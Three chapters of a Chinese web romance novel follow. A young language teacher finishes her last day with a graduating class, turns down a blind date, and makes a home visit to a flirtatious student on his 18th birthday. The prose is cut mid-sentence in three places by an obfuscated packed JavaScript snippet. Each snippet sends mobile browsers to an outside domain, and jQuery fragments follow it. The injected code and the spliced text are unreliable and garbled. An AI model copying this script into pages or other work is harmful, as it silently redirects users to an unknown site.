《假乖》 1. 遗憾 六月毕业季,盛夏午后,蒋一茉冲进办公室,劈手抢过同事刚接完的水,仰头猛灌。 秦勤无奈又接一杯,笑说:“跟那相亲对象吃饭吃这么久,看来有戏呀,幸好今天高三年级在校最后一天,不用正经上课,不然你准得被唐老头说。” 话音刚落,上课铃打响,蒋一茉捏扁一次性水杯,扬手砸进垃圾桶,“我先去教室了。” “噢。”看她气冲冲跟头斗牛似的,秦勤心里犯嘀咕:怎么了这是? 今天高三年级这两层很是热闹,打完上课铃依旧有好多学生在走廊晃悠,拿着手机各种拍照留念。 蒋一茉来到1班门口,像赶小猪进圈一样赶着学生们进教室:“还有几个小时才放假呢,都给我回教室!” 有几个男生看见她,嬉笑起哄说:“老师怎么没跟男朋友在校门口多亲一会儿?” 蒋一茉倏地两颊发烫,嘴张了张又闭上,决定不搭理他们,越搭理越麻烦,挥挥手继续赶人进教室。 旁边班级的老师们也慢悠悠走来,跟着吆喝,一帮学生们这才你推我我推你,回到各自教室。 等到走廊格子窗边那夸张的一大堆人散开后,蒋一茉才看到刚刚像明星一样被围困在正中的男学生,纪复白。 今天天气实在是好,天空碧蓝如洗,晴空万里。 教学楼的外走廊是封闭式,金黄阳光穿过落地格子窗,铺洒在教室外墙和高三(1)班班牌上,也投在少年的右肩和手臂。 他两手插兜站着,脊背挺拔,几分骨子里自带的漫不经心慵懒气,身上蓝白色夏季短袖校服整洁得连个褶也没有,领口更是清爽干净。 老师们经常私下说起他,除了成绩好,还因为在女学生中实在过于受欢迎。 他们班主任唐老头一提到这事就皱着川字眉抠脑袋,从高一抠到高三,头都抠成地中海,生怕这颗成绩人品双优的大白菜,哪天没稳住本心被人拱去,看他比看自己那还不会走路的二胎儿子还紧。 不过每每头疼完之后,又夸他是个懂事有分寸的人,并没多管他抽屉里被情书塞满那档子事,只是发现后生无可恋地全都帮他没收。 蒋一茉对他道:“进教室吧。” 此时走廊上已经没什么学生了。 纪复白却不急:“小蒋老师,今天之后就离校了,一起拍个照吧?” 他边说边走到蒋一茉身边,语气一贯寡淡,额前碎发盖住眉峰,高挺鼻梁上架一副银灰色半框眼镜,眼皮半敛,眼尾天生微翘,自带桃花。 蒋一茉通常要退半步跟他讲话,因为,这个纪复白实在太高。 她的身高只到他胸口,连肩膀都不及,仰起脸来才能和他说话,不知道的看了还以为他才是老师。 也不知道家里都给喂的什么吃,能不能把食谱给她也分享一下,她有生之年还想再窜一窜。 她前阵还问过纪复白他有多高,对方说一米九,又反问她多高,她说一米六,纪复白说他一米六的时候在上小学五年级,蒋一茉当时深吸一口气,心想谁问你了? 谁,问,你,了!!! 纪复白当时还说:“挺怀念那时候。” 蒋一茉问怀念什么。 他说:“有拉伸颈椎的机会。” 蒋一茉:“………………” 班长吴南晃了晃手里相机,“老师,来吧,我给你们拍,我今天拍好多了,技术嘎嘎好。” “嚯,还带相机来学校了。”蒋一茉抬手比“耶”,“来,拍吧。” 吴南举起相机,准备要拍,蒋一茉招手喊停,“等会儿。” 她仰头看一眼旁边纪复白,问吴南:“你确定我俩的头能框进一个镜头里?” 吴南:“那我去搬个板凳出来?” 蒋一茉:“……” 还嫌她今天不够丢脸是吧? 蒋一茉对纪复白道:“要不然你委屈一下,往下蹲一点?” 纪复白没说什么,听话岔开两条大长腿,尽量配合蒋一茉身高。 吴南举起相机。 那头在拍,这头纪复白问:“小蒋老师,你男朋友中午在校门口亲你那会儿,也扎马步吗?” 蒋一茉:“……” 啊啊啊啊啊啊啊啊! 蒋一茉在心里把那相亲男又爆锤了一顿。 吴南说:“好了。”又把相机递给纪复白,“小白,你给我和蒋老师也拍一张吧?” “不拍,腿酸。”纪复白起身就走。 吴南:“……” 又不用腿拍!忒不厚道! 蒋一茉说:“他不拍算了,咱俩自拍。” 吴南又举起相机,拍完进了教室,他和纪复白同桌,相机是纪复白的,他把相机收好还他。 吴南:“怎么了白爷,蔫蔫儿的,今天之后就彻底‘出狱’了,大好喜事,你看看谁像你这么丧?” 纪复白不理会,依旧恹恹地趴着。 吴南:“你是不是得了什么离别综合征?想着从今往后就要见不到我们这些个沙雕‘狱友’了,心里焦虑,恐慌,难受……” 纪复白:“……” 吴南又捅咕捅咕他肩膀:“白爷,你是不是饿了?要不待会儿下课我给你买点吃的?你中午忙着给全年级同学当合影工具人,饭都没去吃。” 纪复白实在太受欢迎,来找他拍照的一波又一波,虽然之前拍毕业照的时候都拍过了,今天最后一天,大家想着以后要见不到了,又跑来找他,正好他今天还自带一个相机。 他这人虽然面上总是冷冷淡淡,实际是个热心肠,同学提的要求只要不太过分,都不会拒绝,当然拒绝起来也是干脆利落绝不拖泥带水,没有商量的余地。 “不用。”纪复白没胃口。 “小美,”吴南拍拍前排副班长常美的肩,“你饼干还有没有,给白爷来点儿救命,不然咱这届理科状元要歇在这儿了。” 纪复白懒懒笑了下,骂:“滚,离死还远着呢。” 常美看眼讲台上的语文老师,见蒋老师在和前排的同学聊天,没有怎么管纪律,便拿了袋吃一半的奥利奥递到身后,“呐。” 袋子里面还剩五个,吴南吃一个,给纪复白剩四个:“一看她就吃不完,咱都帮她解决了。” 纪复白对常美道:“谢了。” 常美:“没事,你不也经常买东西分给我们吃。” “对了,”常美小声道,“我朋友让我帮忙问问,她那封情书你看了吗?” 纪复白:“没有,你转告她,所有情书我都不带看的,不好意思。” 顿了顿,又补充一句:“而且,我已经有喜欢的人了。” 常美:“……” 吴南:“……” 吴南合上惊掉的下巴:“我靠,当不当我是兄弟,交女朋友还瞒着,本校的外校的?说起来应该是你初恋吧?你也够能藏的,这都最后一天马上要散了你才说?” 纪复白拿起笔,在草稿本上解题,随口道:“本校的,没在一起,还在追。” 这话一出,他手里也一顿,感觉不对劲,抬眼,发现被全班同学视线狙击,包括台上蒋一茉。 班级里总有些现象无法解释,比如在闹哄哄的自习课上,突然出现一秒的鸦雀无声。 而纪复白刚刚的那句话,就是在这个空挡脱口而出,声音不大,这一秒却响彻全班。 纪复白:……我他妈。 蒋一茉即便是最后一天当他们老师,依旧对此做出表态,敲敲桌子让大家安静,送了纪复白八个字:“考完再追,祝你成功。” 这个“成功”有两层含义,既是祝福高考,也祝福他往后的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320792|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人生爱有所得,蒋一茉暗暗回味,觉得自己这话讲得真不错,她可真是个开明的好老师啊。 纪复白:“……” 教室又恢复先前的躁动,一个个甚至比刚刚还神采奕奕,眉毛乱飞,搓手等着纪复白喂瓜吃。 “是谁啊白爷,哪个班的,是咱们年级的吗,不会是学妹吧?”过道旁一个同学问。 “是问你要联系方式你不给,后来在这儿站着哭的那个高一学妹吗?”另一个说。 “还是借了你数学笔记本死活不还的高二学妹?” “我猜是情人节给白爷送情侣手链那个特漂亮的五班文娱委员!虽然白爷没有收!但是现在后悔了也说不定!” 又有人说:“你们这么猜不对,既然是白爷在追别人,那肯定要从白爷这儿入手,都想想他最近除了教室,去的最勤的地方是哪儿,有没有别的女生也经常去?” “我知道,厕所!” 众人:“……”废话。 纪复白蹙眉,他什么时候去厕所去的勤了,正常频率而已,他又没什么问题,不仅没问题还超出平均水平一大截,这方面他还是相当自信的。 “办公室?” 众人:“……”更废。 “白爷给我们透露一下吧,白爷~白爷~” 周围几个男生见怎么聊纪复白也不搭理,放弃瞎猜,开始恶心他。 这高中生活实在太过枯燥无聊,所以都盼着有个小八卦,调剂下心情。 况且这位超级优质大帅哥的恋爱问题一直也是全班乃至全校关注的焦点。 纪复白有些不耐烦,早知道不说了。 “别问了。”他把解完大题的卷子还给吴南,“自己先看,哪里不懂我再给你讲。” 就这三言两语里,吴南看着身旁大佬把自己不会的大题随手就给解了出来,跟解他裤腰带一样简单。 他可是几天几夜抠破头都没做出来这道函数大题啊! 那他这几天为解题熬夜吃的那么多宵夜算什么?! 常美对纪复白道:“你要不然偷偷告诉我是谁,我也好转告给我那朋友,让她死心。” 吴南说:“你也别问了,如果说出来最后又没追到,我们白爷多尴尬,追人最好是悄悄地追,没追到就当没追过,对吧白爷?” “没追到就没追到呗,有什么好尴尬的,还有几个小时大家就各回各家,各找各妈了。” 常美说着,掏出一包旺仔小馒头,撕开吃。 突然想到什么,她又笑道:“要不你这样,咱们全年级不是有个大群,你高考完,在大群里把她圈出来来个世纪告白,哇塞,想想都好浪漫,不管成不成她肯定记忆深刻。” 吴南说:“你可别被她忽悠,她就想满足自己的好奇心,人家女孩儿肯定不乐意被起哄,到时候在群里下不来台怎么办。”又把耳朵凑过去,“白爷,你偷偷告诉我一个人,我嘴严实。” “谁说我只是想满足好奇心,”常美朝他翻白眼,“我是希望我们大家的青春都不留遗憾!” “你自己还留有遗憾呢,你说别人!”吴南道。 “你有什么遗憾?” 纪复白托着那张线条流畅帅气非常的脸,桃花眼微微敛着,问常美。 女孩儿抬眸,猛地一下撞进少年眼里,一愣,脸上烧起来,坐回去低头往嘴里塞小馒头,突然间没动静了。 纪复白挑了下眉,有些一头雾水。 吴南这时碰了碰他肩,目光上下一扫,最后下巴往他这儿一点,这意思再明显不过。 纪复白指了指自己:我? 吴南叹气道:“你是多少女生的遗憾啊,你这种大帅哥是要下地狱的,而我这种普男会上天堂。” 纪复白不以为然,只是望着前面:“我还有遗憾呢,谁来给我弥补?” 2. 就她 四十五分钟很快过去,打下课铃前,蒋一茉在黑板上写下:“以梦为马,不负韶华;高考顺利,金榜题名!” 大家喔喔地叫起来,也有抹眼泪的,还有说蒋老师我们会想你的! 蒋一茉刚教一年多的书,从他们高二下学期开始一直带到现在,听到这话不免感动。 可她又不好意思当着这么多人面哭哭啼啼,于是撑着讲台,一手叉腰,说:“行,吴南,你要真想我,往后每一年的教师节如果没能收到你短信,我就给下届学弟学妹讲你课上睡觉睡得流哈喇子还蹭纪复白袖子上,把纪复白气得脱了校服扔你头上,你还大声问怎么停电了的糗事!” 吴南:“……” 全班都哄笑。 下课铃响,蒋一茉最后看了看学生们,挥挥手,虽然也很不舍,转身后还是感到一身轻松,脚步轻盈地走回办公室。 终于带完一届,等监考完,坐等放假!呜呼! 纪复白望着门口,这时,一个外班女生探头探脑,脸上有几分不好意思,又终于豁出去喊道:“纪复白,可以帮忙讲道大题吗?” 他站起来,大步走出教室,却不急着给女生讲题,依旧望着走廊里远去的身影,直到那身影进了办公室,才收回视线。 女同学个矮,书又拿的低,他只好抬手撑住门框,压低身子去看对方手里的辅导书,淡淡问:“哪道?” 女生捧着书不吭声,只一个劲儿的脸红。 纪复白见怪不怪,修长食指敲两下铝合金门框,发出点声响作为提醒,“再不说话,又要上课了。” 女生抬手指了指题,“这,这道。” 纪复白:“有笔么?” 女孩儿递出自己的笔。 纪复白接过,顿了顿,问:“能在你书上直接解吗?” 女孩儿点头。 纪复白提笔便写,流畅得仿佛那题是他出的,又像是做了千八百遍似的。 女孩儿感到惊讶,又再看一遍题目,确认这题是一道满星难度数列题,而不是问的1+1等于几…… 门口进进出出的人都投来视线,还有等着和纪复白拍照的,告白的,要联系方式的…… 有个女生等的不耐烦:“都最后一天了还跑来问题,装什么。” 纪复白停笔,抬眸,冷冷地瞥了她一眼,后者乖乖闭上嘴,继续安静地等。 纪复白这会儿只专注在女孩儿手里的书上,女孩儿心里挺受用,望着少年清隽侧脸心猿意马,说:“这两天放假,我可以每天都找你给我讲题吗,大后天就考试了,我还有点没底……” 纪复白头也不抬:“还是找老师吧,我把老师的工作做了也没人给我发工资。” 女孩儿:“我可以出家教费……” 她话一出口便感觉有点冒犯,谁不知道纪复白每天坐宾利上下学,怎么会缺那仨瓜俩枣,又改口:“我不是那意思……” 纪复白没什么所谓,语气依旧平淡:“是也没关系,只不过我不缺钱。”拿笔敲了敲书,“看题吧。” 蒋一茉回到办公室,已经坐一屋子的同事。 她拿了水杯,接完水,站在饮水机旁喝起来。 中午那相亲对象吃得太咸,也可能是跟她有仇,趁她上卫生间,跑去嘱咐人家煮面的厨师多放点盐,没把她咸死。 这时旁边有人靠了过来,凑在她耳朵旁坏笑:“原来中午那会儿跟相亲对象在校门口亲嘴啦?” 与此同时,另一道清朗微沉的声音在办公室门口落下——“唐老师。” 蒋一茉一个分神,差点没被一口水呛死,捂着嘴咳得死去活来。 救救…… 门口的纪复白最快从兜里摸出纸巾给她,连同那一包也都塞她手里。 纪复白:“慢点儿喝。” 蒋一茉整个白皙的脸咳得通红,等终于好点儿,看一眼学生关怀的双眼,感激道:“谢谢啊小白。” 又对秦勤没好气地低声道:“什么亲嘴,亲的脸!” 亲嘴亲脸意义大不同,很有必要澄清一下。 “小蒋怎么了,喝个水一惊一乍的?”另一个过来接水的同事高姐笑说。 纪复白此时已经转去班主任工位,听唐老头那番老生常谈。 那唐老头跟学生说着话的功夫,还抽空插了句嘴。 他手里拿只笔点着蒋一茉,笑呵呵地说道:“我知道小蒋为什么一惊一乍,中午男朋友送她回来,在校门口亲了她一下,有学生看到还跟着起哄呢。” “不是男朋友,就是个相亲对象,还没确定关系呢。”蒋一茉解释。 “那这一亲,不就确定下来了?”高姐笑说。 蒋一茉本来打算处处看的,现在没这打算了。她摇摇头:“算了吧,这一亲,是彻底没戏!” 高姐:“不至于吧,你们年轻人现在不都很开放的吗?” 蒋一茉说:“那也得看是谁,对方要是金城武,我二话不说还他一口。” 办公室都被这话逗乐,全哈哈哈地大笑起来,蒋一茉发现就连纪复白也回头看她一眼,似笑非笑的,弄得她怪不好意思。 她赶紧拿着水杯回工位,顺手掐一把刚在耳边吓她的秦勤。 纪复白离开后,唐老头不可避免地继续谈起得意门生,说他之前cmo数学竞赛拿了金牌,但还是差一点进国家集训队,如果进了就能直接保送清北,真是可惜。 有别的老师接着说:“可惜啥,不凭竞赛保送他也是清北的料子,说不定还是状元,您就放宽心吧。” 唐老头笑得眯起眼睛:“那不是有风险嘛,稳稳的保送多好,不过他自己心态倒是好,近三次联考都是全市理科第一,唉,恐怕以后也难遇这样的学生了。” 蒋一茉翻着抽屉轻轻点头,对这话表示认同。 这个纪复白,简直就跟照着书里好学生模板长起来的一样,要成绩有成绩,要人缘有人缘,要外貌有外貌,要品格有品格,全校几乎没有人不认识他,完全担得上“风云人物”四个字。 除了,有时候嘴毒一点之外,其他没得挑。 纪复白没直接回教室,而是找到刚刚问他题的女生,把剩下的讲完才回去。 吴南看见他,“嘿嘿”地笑:“被我发现了吧,是不是就是那个女孩儿,还主动找人家!” 纪复白长腿勾过凳子坐下:“找她是为了把题讲完,憋一半我难受。” 吴南无力地倒在桌上,“到底谁啊,你要这么吊着兄弟胃口,我要是过两天高考还想着这事儿,到时候没考好都赖你。” 这罪过可大了,纪复白笑道:“这样吧,从现在开始,下一个出现在教室门口的女生,你就当作是她,别纠结了。” 虽然是玩笑话,吴南还是来了精神,盯着门口:“男的,男的,男的,男……嗯?” 教室门口闪现一个翩翩身影,匆匆进来,给了前排一个同学一盒感冒灵冲剂,又匆匆离开。 吴南坐起来,有点没反应过来:“蒋老师……算女生吗?” 纪复白:“……” 吴南又道:“不算不算,蒋老师不算,再等下一个。” 纪复白左手托腮,右手转着笔,笑道:“为什么不算,就她了。” 吴南又趴下:“切,真没劲啊你。” 纪复白心道有劲儿的我倒是敢说,就怕你不敢听。 吴南又嘀咕:“开玩笑还开个最没可能的。” 纪复白:“…………………………” 蒋一茉晚上和相亲对象吃的晚饭。 本来下午发消息已经把人婉拒了,对方非要晚上见面说。 她当面把“两人不合适”这话说的更清楚明白了一些,又考虑到现在太多反社会人格的人,情杀新闻频发,事先斟酌了用词。 相亲男劝她再想想,再考虑考虑,把自己的各种条件又念叨一遍。 说实话条件是挺不错,但蒋一茉心里一潭死水,又因对方中午那举动心生反感,这是真没办法。 这时,唐老头突然来电,叫她帮忙去家访一下,自己实在走不开。 一听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320793|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那边高谈阔论的背景音就知道是在陪校领导应酬。 蒋一茉问怎么都这时候了还家访,学生都拿完毕业证了,过两天就高考了,这时候家访什么。 唐老头说:“人家家长忙呗,今天才腾出空。” 蒋一茉说好吧,又问哪个学生。 唐老头:“纪复白。我刚跟他家长也说了,他家长说你去也好,小白经常跟他们说最喜欢的就是你这个语文老师。” 蒋一茉觉得这话中听,心里暗自得意,看来自己在学生心里还是有分量的,没白掉那么多头发。 唐老头又笑说:“我是比不了蒋老师,人又年轻,脾气又好,能跟学生打成一片,学生们都喜欢你,刚来学校才一年多就拿了优秀教师……” 电话那头另个男人声音在远处嬉笑道:“屁!她那优秀教师都是跟副校长睡出来的,她是林副校长二奶,还有谁不知道?” 那边背景嘈杂,蒋一茉却把这话听得清楚。 唐老头似乎挪了点位置,那些声音比刚才离得更远了,这会儿在说些什么蒋一茉听不清,不过用脚趾想也知道在说什么。 他继续又道:“小蒋啊,你现在就去吧,别让小白家里久等,人家家里什么条件,每年给学校捐多少钱,你说话什么也注意点,虽然说学生毕业了,也轻易别得罪,快去吧。” 说完把电话挂了。 那相亲对象见蒋一茉胸脯起伏得厉害,脸上也红扑扑的,问她怎么了。 蒋一茉摇摇头,拿过手边的玻璃瓶装山海关汽水,把剩下三分之二一口喝完,打了个小嗝,说:“不好意思,我现在要去学生家里家访,先走了,再见。” 相亲男还没来得及再说点什么,眼见着蒋一茉跑柜台结完账,推开火锅店大门离开,而她喝光的汽水瓶里,插着的那根吸管口被咬扁咬烂,都是牙齿印。 蒋一茉打车往唐老头发来的地址赶去。 纪复白家境不错,住的是三层大别墅,父母亲都是生意人,身材和皮肤保养得很好,比大多数同龄人更显年轻,行为举止精英派头拿捏很足,言谈又透着从容松弛。 这会儿纪复白竟然不在家,蒋一茉听他父母说他去同学家给同学辅导去了,她便和他父母先聊了聊。 她首先把纪复白这个学生一顿夸,接着又把培养出这么优秀的孩子的两位家长夸了夸。 纪复白父母还算受用,整个过程笑容以待,又说孩子的学习他们倒是不愁,但愁的是孩子不愿按照他们规划的路来走。 这样那样聊了一会儿,门开,穿着蓝白运动款式校服的少年单肩背着包,推门进来。 穿过玄关隔断,修长身形一顿。 蒋一茉闻声回头,见少年眉间登时微褶。 原来好学生也怕家访,她心下失笑,又觉得他压根儿没必要担忧,全校老师们夸他还夸不过来呢。 “小白,愣着干什么,快过来跟蒋老师打招呼。”纪复白妈妈招手。 纪复白拖着脚步来到下沉式客厅,整个人看着没多大精神,心情也很一般的样子。 纪复白:“还是老师的时候不来家访,已经不是我老师了,跑来干什么,蹭饭?” 蒋一茉:? 因听出一点揶揄,蒋一茉心里翻腾一点无可奈何的气,又见那高大个子晃过来后,半点犹豫也没有地端起她面前那杯水。 不是—— 她嘴刚张到一半,提醒不及,少年微微仰头,凸起的大喉结滚了两三下,一大杯水全给他下了肚,一口没给她剩。 “……” 蒋一茉舔舔唇,第一次家访难免紧张,坐这儿半天没喝一口水,刚说渴了……得,继续渴着吧。 “小白,怎么这样说话?”纪复白爸爸皱眉道。 “我都已经毕业了,她当然不是我老师了。”纪复白把水杯放回原位,顺手又倒满一杯,“难道你们希望我复读,继续给她当学生?不至于吧,高考前这么咒我?” 纪复白爸妈&蒋一茉:“……” 蒋一茉:她就说他嘴毒吧! 3. 发夹 蒋一茉想走,立即就走。 人家都毕业了,还有两天就高考,情绪肯定起伏不定,家什么访,给人添什么乱! 纪复白转身回房间,手臂轻轻擦过蒋一茉的肩。 “你看他,最近一直就这样。”纪复白爸爸坐下,叹气道。 “上次跟我们吵了一架,到现在还一副爱答不理的呢,这小子可记仇了。”纪复白妈妈无奈笑笑。 “小孩子嘛,都有这个阶段,以后就会理解你们的用心良苦了。”蒋一茉安抚道。 纪复白爸爸:“也不小了,过完今天就是18岁的成年人了。” 蒋一茉:“今天是他生日?” 纪复白妈妈:“对啊,我们还给他买了蛋糕,待会儿蒋老师你也留下一块儿给他庆个生怎么样?” 蒋一茉:“呃……好,没问题。” 纪复白妈妈:“那蒋老师,你能不能这会儿进去帮我们劝劝他?我们话都说尽了也不好使,所以今天才想把班主任请来。不过你来更好,小白之前就经常跟我们说,各科老师里他最喜欢你。” 得了吧,冲纪复白刚刚那表现,蒋一茉现在可不相信这话,都是家长的客套而已。 她还以为学生真喜欢她呢呜呜呜,也是,纪复白每回考的最好的一科都是数学,虽然是她这门课的课代表,那也是因为其他课代表都是主动请缨,而他是被唐老头分配给她的。 “可他刚刚那反应……我感觉我的话他更加不会理会了,呵呵。”蒋一茉尴尬地笑了笑。 纪复白妈妈说:“没事,你去跟他聊两句试试,我猜刚刚是我们在,他抹不开面子才说那话,既然他不把你当老师,正好,你就以朋友身份劝他两句,亦师亦友嘛。” 蒋一茉最后还是跟着纪复白妈妈上了二楼,来到房间门口。 “小白?”纪复白妈妈敲了敲门。 “嗯……”里面的人惜字如金,懒散拖着尾音,听起来好像已经睡了似的。 纪复白妈妈:“蒋老师有几句话想跟你说,你现在方便吗?” “……方便。”过了四五秒才回答。 蒋一茉推门进去,纪复白妈妈握拳做了个“加油”的姿势,帮忙关上门,转头下楼回客厅。 纪复白爸爸剥着澳橘,边吃边道:“真没想到,这蒋老师这么年轻。” 纪复白妈妈:“年轻有为。” 纪复白爸爸:“再年轻有为还不是一样要拼关系,我之前听唐主任讲,她跟副校长有点关系……” 纪复白妈妈笑说:“现在这社会谁跟谁没点关系,你们去世的老爷子不还是校长干哥哥吗?” - 纪复白坐在书桌前,左手撑腮,右手转笔,垂眼盯着一张语文真题卷,听到身后脚步声靠近,懒散道:“打算替他俩怎么教育我?” 卧室很大,是个套间,蒋一茉进门先看到床,再往里去的一个房间才是书房,看来纪复白平时就是在这里看书写作业。 她走到他身边,见一张长条胡桃木实木书桌靠墙摆放,桌面整洁有序。 在一台白色iMac电脑旁边,放着两层的胡桃木实木收纳柜,柜顶搁置着一盆茉莉,朵朵白色小花开得正盛,空气里也弥漫淡淡茉莉花香。 蒋一茉也养过茉莉,没啥园丁天赋,养一盆死一盆。 瞧见旁边正好有个空椅子,她拉过来坐下。 拿不准开场白,于是先沉默着。 她的沉默倒使纪复白有点意外,意外对方竟然没有立刻端出架子来说教,转头看她一眼:“怎么,还没想好?” “生日快乐。”蒋一茉说。 “……”纪复白看她片刻,镜片后一双好看的桃花眼弯出笑意,“生日礼物呢?” “……” 那当然是没有准备了。 面对期待的目光,蒋一茉心虚,到处看了看,心说要是提前知道的话,给他买支笔也好。 这时,余光里,一只手臂缓缓朝自己伸了过来,指尖似有若无拂过耳畔,捏住发夹一端,小心取下。 顺滑的黑发立时垂下来,挡住一点她侧脸。 纪复白扬了扬手里低调小巧的黑色蝴蝶结边夹,面不改色:“算了,勉强收下你的发夹当生日礼物了。” 蒋一茉:?谁说要送你了? 蒋一茉更纳闷儿的是,他一个男生怎么会看上这种东西? 碍于人家两天后要参加重大考试,现在是极其敏感的时期,她在心里斟酌了用词,又掂量了语气,才说:“你还喜欢这个呢,喜好蛮广泛的嘛,呵呵。” 纪复白:……………… 纪复白随手拿过一本书,翻开一页,用发夹夹住,拿起来展示:“当书签用。” 又合上书,放到一边。 “你要不然还是还给我,这都被我戴旧了,下回给你买个正经书签补做生日礼物,啊当然,你实在想要发夹型的书签也行,我给你买个新的。”蒋一茉摊开手,示意对方先还回来。 毕竟是18岁生日,一个旧发夹也太随便了。 纪复白眼也不抬直接无视,依旧撑腮看书,“不需要,我这人念旧。” 蒋一茉失笑:“念旧是念你自己的旧,哪有念别人旧的。” 纪复白侧眸,“既然不是我的旧,那对于我而言就是新的,你还用得着另外买什么新的?” 蒋一茉:“……” 噎住。 不是, 你等会儿, …… “你爸妈说,想让你去国外读大学,你怎么考虑?” 她摸了摸脸,一时被堵得没话,干脆换个话题。 纪复白看着她沉吟几秒,往前轻轻蹬了一下,修长双腿岔开,把人围困在腿间,手肘撑膝,探身,凑近:“你有什么建议?” 蒋一茉下意识双腿并拢,纪复白也收腿,反正就要轻轻贴着她。 “退回去,别显摆你这两条大长腿!”她严肃道。 纪复白在对方警告的眼神里挣扎了下,随后脚一蹬,连人带椅又退回安全距离。 蒋一茉这才徐徐道:“出国和待在国内都各有利弊,你这种脑子灵光的学生对自己的前程应该早有打算,如果家长另有安排,就好好谈,不要一言不合甩脸给他们看。” 纪复白略想了想,浅浅一笑:“很保守的建议。当然这是高情商说法,低情商版本是,你讲了一堆废话。” 蒋一茉:“……” 蒋一茉当然也知道这话说了相当于没说,但又不想搅合进他们家庭内部矛盾。 关于未来的路要怎么走,她一个普通老师的眼界可能还比不上这种富商家庭出生的学生,提出来的建议人家不仅不当一回事,说不定背地里还笑话,自然废话比较保险,她又不像张雪峰老师专业做这个的。 纪复白说:“我不会出国读大学,你知道为什么吗?” 蒋一茉:“为什么?” 纪复白:“我喜欢的人在这儿。” 蒋一茉恍然大悟,对对对,她今天还叫他考完再追,祝他成功呢。 “那等你考完试,可以找机会和父母好好聊聊这事儿,毕竟也是成年人了,父母应该可以理解。”只不过同不同意就另说了。 纪复白看着她:“和他们没什么好聊的,我更想跟你聊。” 蒋一茉:“跟我更没什么好聊的了,我在这方面没什么经验。” 纪复白:“你没谈过恋爱?” 蒋一茉:“谈过是谈过……” 纪复白:“几次?” 蒋一茉:“1次。” 蒋一茉:?她为什么要乖乖回答? “初恋。”纪复白一声冷笑,“就算只有1次,也比我有经验。” 蒋一茉说:“那当然了,你要有经验就成早恋了。” 纪复白:“你那次是早恋吗?” 蒋一茉:“当然不是,我上学那会儿可规矩老实了,上大学才谈的。” 蒋一茉:呃,她为什么要说这么多? 纪复白:“为什么分手?” 蒋一茉:“因为他……”顿了顿,“不便告知。” 蒋一茉:话题怎么偏到这儿来了?!再说下去该来杯扎啤了。 不等纪复白再开口,蒋一茉看一眼时间,说:“今天就先这样,时间不早,我先回去了。” 看她被问得浑身不自在, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320794|167476||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纪复白笑了笑,起身说:“我送你。” 蒋一茉摆手:“不用不用,别浪费时间,你该干嘛干嘛。” 纪复白:“我现在最想干的,就是出门走一趟,难不成路是你修的,你能走我不能走?” 蒋一茉:“……” 蒋一茉无奈摇了摇头,转身开门出去。 回到客厅,纪复白妈妈用眼神询问结果,蒋一茉为难地笑了下。 纪复白妈妈也没抱太大希望,知道纪复白从小就倔得要命,不撞南墙不回头。 纪复白妈妈说:“蒋老师,吃了蛋糕再走吧?” 保姆已经把蛋糕端出来,在餐桌上放好。 “走吧,吃蛋糕。” 不等蒋一茉说话,纪复白握住她纤薄双肩,推着人往餐厅走。 点了蜡烛,关灯许愿。 蒋一茉坐在纪复白对面,蜡烛的光晃荡在男生清隽的脸上。 明明这一幕正在发生,可这种朦胧感却好像已经是回忆里的画面。 过后,蒋一茉安静的吃蛋糕,听纪复白有一搭没一搭的回应父母的话,突然间他抬眼问她:“你是不是吃不了?” 她无奈笑笑,心说整个蛋糕你差点切下三分之一给我,你觉得呢?是要撑死我吗? 她又怕胖,所以吃得也慢。 “吃不完没关系的,小白也是,给你切那么大一块,哪个女孩子能吃得下。”纪复白妈妈笑说。 纪复白把蒋一茉那份蛋糕拖过来,“别勉强,吃不了我帮你解决。” 蒋一茉:“那我就先走了,时间也不早了,不好再打扰你们休息。” 最主要是再晚赶不上最后一班公交了,打车回去可是一大笔钱! “蒋老师,让我们司机送你吧?”纪复白爸爸道。 蒋一茉连连摆手:“不用不用,千万别这么客气,我去坐公交就行。” 许是她表现实在太过惶恐,对方没有勉强。 “我送你。”纪复白起身。 蒋一茉正想再一次拒绝,听人家爸爸说:“这才对嘛,小白,对人要有礼貌,尤其对女孩子,更要有风度,送蒋老师上了车再回来。” 这样一来,她倒不好再说什么。 乘电梯下去,两人并肩走到街上,纪复白陪蒋一茉去公交站台等公交。 盛夏的夜黏腻燥热,蝉在奋力鸣叫。 “紧张吗?”蒋一茉问。 “紧张,”纪复白把目光从远处拉回来,落在身旁那张白皙的鹅蛋脸上,“但不是紧张高考。” 这话从纪复白嘴里说出来倒也正常,蒋一茉印象里从来没见过他情绪失控的样子,不管大会致辞,还是重要考试,男生总是一脸从容淡定。 记得高三开学典礼,来了好多局里大领导,他作为学生代表,在容纳两千多人的大礼堂台上致辞。 